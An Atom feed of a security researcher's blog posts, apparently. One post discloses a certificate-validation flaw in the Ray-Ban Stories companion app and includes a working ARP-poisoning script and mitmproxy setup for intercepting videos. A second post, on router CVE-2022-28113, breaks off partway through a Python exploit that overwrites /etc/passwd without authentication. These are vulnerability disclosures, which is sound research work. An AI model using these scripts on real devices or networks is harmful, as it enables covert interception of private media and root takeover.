<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>code_byter</title>
  <subtitle>Security research, talks and workshops on CI/CD pipelines, software supply chains and embedded devices, by Daniel Schwendner.</subtitle>
  <link href="https://code-byter.com/feed.xml" rel="self" type="application/atom+xml"/>
  <link href="https://code-byter.com/" rel="alternate" type="text/html"/>
  <id>https://code-byter.com/</id>
  <updated>2023-09-24T00:00:00+00:00</updated>
  <author><name>Daniel Schwendner</name></author>
  <entry>
    <title type="html">Now I See You: Uncovering Security Vulnerabilities in Camera Sunglasses</title>
    <link href="https://code-byter.com/2023/09/24/rayban-hacking.html" rel="alternate" type="text/html"/>
    <id>https://code-byter.com/2023/09/24/rayban-hacking.html</id>
    <published>2023-09-24T00:00:00+00:00</published>
    <updated>2023-09-24T00:00:00+00:00</updated>
    <category term="bugbounty"/>
    <category term="security"/>
    <category term="embedded"/>
    <summary type="html">This blog post demonstrates a security vulnerability I discovered in Ray-Ban Stories, a pair of sunglasses with a built-in camera. With the help of a companion app, users can download recorded videos from the glasses to their phones. However, a determined attacker with sufficient computational resources can perform a man-in-the-middle attack and intercept recorded videos during the download process. This attack was possible on both Android and iOS versions of the Facebook View application.</summary>
    <content type="html" xml:base="https://code-byter.com/2023/09/24/rayban-hacking.html">&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/sunglasses/thumbnail.png&quot; alt=&quot;Thumbnail containing a hacker themed image of mate tea and sunglasses&quot; width=&quot;80%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;This blog post demonstrates a security vulnerability I discovered in Ray-Ban Stories, a pair of sunglasses with a built-in camera. With the help of a companion app, users can download recorded videos from the glasses to their phones. However, a determined attacker with sufficient computational resources can perform a man-in-the-middle attack and intercept recorded videos during the download process. This attack was possible on both Android and iOS versions of the Facebook View application.&lt;/p&gt;

&lt;p&gt;&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;

&lt;p&gt;Ray-Ban Stories sunglasses can record videos and transmit media files to the corresponding companion app.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/sunglasses/thumbnail.jpeg&quot; alt=&quot;Thumbnail containing ha hacker themed image of mate tea and sunglasses&quot; width=&quot;80%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;This communication is primarily carried out via Bluetooth and, for media files, through WiFi. After some reverse engineering, this is my assumption of the communication channels for downloading media files:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/sunglasses/overview.svg&quot; alt=&quot;Diagram of the communication channels for downloading media files&quot; width=&quot;120%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;To download media files, the following steps are executed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Thumbnail&lt;/strong&gt;: Thumbnails are transmitted via Bluetooth.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;WiFi Passphrase&lt;/strong&gt;: A random passphrase is generated (on the glasses) and shared with the phone (via Bluetooth) to create a WiFi hotspot. This process varies between OS versions.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;WiFi Hotspot&lt;/strong&gt;: A WiFi hotspot is established between the phone and the glasses. Android uses WiFi-Direct.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Stella Webserver&lt;/strong&gt;:  The glasses host a webserver (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stella-webserver&lt;/code&gt;) to provide access to media files. It uses TLS/SSL and requires a regularly-changing authentication token.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Media Download&lt;/strong&gt;: The companion app requests media files from the webserver with the correct authentication token.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h1 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h1&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stella-webserver&lt;/code&gt; presents an attack vector. Reverse engineering the application shows, the companion app does not verify the SSL certificate. This makes a man-in-the-middle attack is possible. An attacker can connect to the WiFi network and intercept all communication between the glasses and the phoneand gains access to transmitted metadata and recorded media files.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;actually-its-more-complicated-capturing-the-wifi-password&quot;&gt;Actually it’s more complicated: Capturing the WiFi Password&lt;/h2&gt;

&lt;p&gt;To perform the man-in-the-middle attack, we need access to the WiFi network of the Ray-Ban Stories. While WiFi is generally considered secure, some bad configuration choices allow us to break the password.&lt;/p&gt;

&lt;h4 id=&quot;android-api--28&quot;&gt;Android API &amp;lt;= 28&lt;/h4&gt;

&lt;p&gt;The WiFi password is only &lt;strong&gt;8 characters&lt;/strong&gt; long (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s8uIqNno&lt;/code&gt;), &lt;strong&gt;whithout special characters&lt;/strong&gt;. While this still requires a lot of resources to crack, it is breakable. Once the glasses are paired, the WiFi &lt;strong&gt;password remains unchanged&lt;/strong&gt;. The hash can be cracked offline, which makes the attack feasible.&lt;/p&gt;

&lt;h4 id=&quot;android-api--28-and-ios&quot;&gt;Android API &amp;gt; 28 and iOS&lt;/h4&gt;

&lt;p&gt;The password is significantly longer, and changes regularly. On iOS the WiFi password changes on each download conection, making the attack more challenging.&lt;/p&gt;

&lt;p&gt;The most stealthy method of breaking the WiFi password is by capturing the WiFi authentication password hash and cracking it. This can be done fully wireless and undetected if the attacker is within the network range. The hash can be cracked offline as described &lt;a href=&quot;https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng-and-hashcat-a5a5d3ffea46&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;stealing-your-data&quot;&gt;Stealing your Data&lt;/h2&gt;

&lt;p&gt;To sniff the network communication, a classic ARP poising attack can be used. This can be executed with the following Python script:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scapy.layers.l2&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ARP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Ether&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scapy.all&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getmac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uans&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;arping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Ether&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;src&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;poison&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;phone_poison_pkt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ARP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;psrc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hwdst&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mac_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdst&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;raybans_poison_pkt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ARP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;psrc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hwdst&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mac_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdst&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phone_poison_pkt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;raybans_poison_pkt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ip_phone&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;192.168.43.1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ip_raybans&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;192.168.43.2&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;mac_raybans&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getmac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;mac_phone&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getmac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;poison&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac_raybans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac_phone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Through the MITM attack, the network traffic is sent to the attacker. This traffic can be intercepted and forwarded by routing the communication to a reverse proxy, such as mitmproxy. Therefore, configure your iptables as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, launch mitmproxy on port 8080. It is configured to accept insecure SSL certificates and dump the output to a file.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo mitmproxy -k -w traffic.mitm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see in the following mitmproxy screenshot, the communication is successfully intercepted. If we dump the response body, captured photos or videos are revealed. However, the victim is not aware of this attack, as all traffic is forwarded regularly.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/sunglasses/mitmproxy.png&quot; alt=&quot;Screenshot of mitmproxy showing the intercepted communication&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Even though the communication is SSL encrypted, the attacker can capture the cleartext data, as the Facebook View app does not verify the certificate (or use certificate pinning). The self-signed certificate of the attacker is accepted in this scenario. Furthermore, the authentication token is revealed, so the attacker can request data independently.&lt;/p&gt;

&lt;p&gt;This attack also allows us to inject videos in the user’s app. As you can see in the video, the thumbnail is first transmitted correctly, but during the download process a fake video is injected.&lt;/p&gt;

&lt;style&gt;
.video-holder {
  position: relative;
  width: 100%;
  height: 0;
  padding-bottom: 56.25%;
  overflow: hidden;
}
.video-holder iframe {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
}
&lt;/style&gt;

&lt;div class=&quot;video-holder&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/bXcsdJtRTWM&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;acknowlegements&quot;&gt;Acknowlegements&lt;/h2&gt;

&lt;p&gt;The bug reports were created during the BountyCon Events. Thanks to the Meta Security Team for enabling this research and fixing this vulnerability quickly.&lt;/p&gt;

&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Here are the slides from the Meta iOS hunting talk from BountyCon in Singapore &lt;a href=&quot;https://t.co/GkgpVXVpcP&quot;&gt;https://t.co/GkgpVXVpcP&lt;/a&gt;&lt;/p&gt;&amp;mdash; Philippe Harewood (@phwd_) &lt;a href=&quot;https://twitter.com/phwd_/status/1580307588742545409?ref_src=twsrc%5Etfw&quot;&gt;October 12, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;p&gt;Thanks to Philippe Harewood and his BountyCon Talk. Your talk and help made this possible!&lt;/p&gt;

</content>
  </entry>
  <entry>
    <title type="html">Yet another WiFi Travel Router exploit</title>
    <link href="https://code-byter.com/2022/04/06/fantec-wifi.html" rel="alternate" type="text/html"/>
    <id>https://code-byter.com/2022/04/06/fantec-wifi.html</id>
    <published>2022-04-06T00:00:00+00:00</published>
    <updated>2022-04-06T00:00:00+00:00</updated>
    <category term="exploit"/>
    <category term="wifi"/>
    <category term="security"/>
    <summary type="html">WiFi Travel routers are affordable and provide wireless networking as well as file sharing services at low cost. But how secure are they actually? I recently purchased one and had fun smashing its stack. This posts demonstrates how an unauthorized user can take full control over the router without any required user interaction. The full vulnerability is published under CVE-2022-28113.</summary>
    <content type="html" xml:base="https://code-byter.com/2022/04/06/fantec-wifi.html">&lt;p&gt;&lt;img src=&quot;/assets/posts/fantec-wifi/router.jpg&quot; alt=&quot;Thumbnail containing a photo of the wifi router&quot; /&gt;&lt;/p&gt;

&lt;p&gt;WiFi Travel routers are affordable and provide wireless networking as well as file sharing services at low cost. But how secure are they actually? I recently purchased one and had fun smashing its stack. This posts demonstrates how an unauthorized user can take full control over the router without any required user interaction. The full vulnerability is published under &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28113&quot;&gt;CVE-2022-28113&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;!--more--&gt;&lt;/p&gt;

&lt;h1 id=&quot;overview&quot;&gt;Overview&lt;/h1&gt;

&lt;p&gt;This post provides provides a detailed guide on finding this vulnerability and exploiting it. See it as a real-life CTF walktrough. Any unauthenticated, unauthorized malicious user can execute arbitrary terminal commands as root user, taking full control over the device. No passwords, reboots or user inputs are required.&lt;/p&gt;

&lt;p&gt;The exploit consists of two stages:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;First: Gain access to the web interface as admin user&lt;/li&gt;
  &lt;li&gt;Second: Exploit a buffer overflow vulnerability for remote code execution&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h1&gt;

&lt;p&gt;A quick netcat scan reveals the services provided by the router. On port 80, a web interface allows to configure the device and access files from the connected drives. Only the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; user can log in, no further accounts can be created.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/login.png&quot; alt=&quot;WiFi router login page&quot; width=&quot;75%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;To find vulnerabilities, log in and capture all web traffic using a proxy like BurpSuite or &lt;a href=&quot;https://mitmproxy.org/&quot;&gt;mitmproxy&lt;/a&gt;. The example below shows the Internet Network Settings page and the corresponding web request.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/wifi_network_settings.png&quot; alt=&quot;WiFi router admin panel&quot; width=&quot;75%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /protocol.csp?fname=net&amp;amp;opt=wifi_client&amp;amp;function=set HTTP/1.1
Host: 10.10.10.254
Content-Length: 82
Method: POST /protocol.csp?fname=net&amp;amp;opt=wifi_client&amp;amp;function=set HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.10.10.254
Referer: http://10.10.10.254/apps/network/internet.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSID=DE4ri41qPWOPIzWUxXLL8AJRbOA2MzthdoynrADfrrVaQ; Language=us
Connection: close

SSID=code-byter-wifi&amp;amp;mac=7e%3Af1%3A33%3A34%3Aa1%3A37&amp;amp;passwd=supersecurepassword&amp;amp;dhcp=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
All web-requests contain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SESSID&lt;/code&gt; in the cookie. This is used to authenticate the user and is present in all requests. If we drop the session cookie, the server return an error code.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/fantec-wifi/wifi_network_settings_error.png&quot; alt=&quot;Network setting error response&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;initial-access&quot;&gt;Initial access&lt;/h1&gt;

&lt;p&gt;Initially, we don’t have any valid credentials or session id. One technique to gain initial access is to enumerate which web requests works if the session id is dropped, which is the case for most/all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; requests in this web interface.&lt;/p&gt;

&lt;p&gt;This allows us to leak all files of the connected drives and other sensitive information such as the wifi password, but not to modify any data or execute custom commands.&lt;/p&gt;

&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h3&gt;

&lt;p&gt;Another interesting target is the backup functionality. The backup can be downloaded without providing any session cookie and consists of sensitive user information like the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/shadow&lt;/code&gt; containing the password hashes of all users. These can be cracked using tools like hashcat or John the Ripper, but takes lots of time.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/wifi_backup_settings.png&quot; alt=&quot;Router backup settings&quot; width=&quot;80%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The restore functionality, which works without the session cookie as well, is more relevant, as no password hash cracking is necessary. The following screenshot shows the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request to load a backup file. The request contains the upload-path and the filename with its contents in the body. Instead of writing the backup file to the connected drive, we can directly write the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shadow&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;passwd&lt;/code&gt; file in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;
&lt;img src=&quot;/assets/posts/fantec-wifi/wifi_load_backup_annotated.png&quot; alt=&quot;Annotated backup request&quot; /&gt;
&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h3&gt;

&lt;p&gt;The following python code snipped, creates a post request containing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file with the hashes of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root:20080826&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin:codebyter&lt;/code&gt;. Analogous we can perform the same operation to override the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/shadow&lt;/code&gt; file. All cookies and headers are not verified and thus can be removed from the request.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;uploadpath&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/etc/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1647027124436&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
sysresumefileform&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
------WebKitFormBoundaryRY0m57TtzHmaTLaT&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
Content-Disposition: form-data; name=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;file1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;; filename=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;passwd&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
Content-Type: text/html&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n\r\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
root:$1$yikWMdhq$cIUPc1dKQYHkkKkiVpM/v/:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
admin:$1$s0eJ96e.$9EjwaKxLMqkYxHRPArA4g/:15:0:user:/data:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;

